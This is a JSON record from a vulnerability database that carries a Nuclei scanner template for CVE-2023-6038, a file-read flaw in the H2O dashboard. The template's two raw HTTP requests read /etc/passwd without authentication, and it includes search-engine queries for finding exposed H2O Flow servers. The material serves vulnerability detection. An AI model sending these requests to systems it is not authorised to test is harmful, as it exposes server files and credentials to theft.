{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-6038/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-6038/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-6038/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-6038/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-6038/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-6038"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-6038"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-6038.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2023-6038\n\ninfo:\n  name: H2O ImportFiles - Local File Inclusion\n  author: danmcinerney,byt3bl33d3r\n  severity: high\n  description: |\n    An attacker is able to read any file on the server hosting the H2O dashboard without any authentication.\n  impact: |\n    Unauthenticated attackers can read any file on the server via the ImportFiles endpoint, potentially exposing sensitive data including database contents and application code.\n  remediation: |\n    Update H2O to a version that implements proper authentication and authorization controls for the ImportFiles endpoint.\n  reference:\n    - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-6038\n    - https://github.com/h2o/h2o\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-6038\n    cwe-id: CWE-862\n    epss-score: 0.0434\n    epss-percentile: 0.90836\n    cpe: cpe:2.3:a:h2o:h2o:-:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: h2o\n    product: h2o\n    shodan-query:\n      - title:\"H2O Flow\"\n      - http.title:\"h2o flow\"\n    fofa-query: title=\"h2o flow\"\n    google-query: intitle:\"h2o flow\"\n  tags: cve,cve2023,h2o-3,h2o,ml,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /3/ParseSetup HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body_1, 'ImportFilesV3')\"\n          - \"regex('root:.*:0:0:', body_2)\"\n          - \"status_code_2 == 200\"\n        condition: and\n# digest: 4a0a0047304502203b82e299c315b35054bbad6745c759f464223d40d7a26ff37487631d2766c0310221008fb104b2e2dbcbd693f87866b41faf97019072a978219b64947aec3137acfb94:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-6038"
}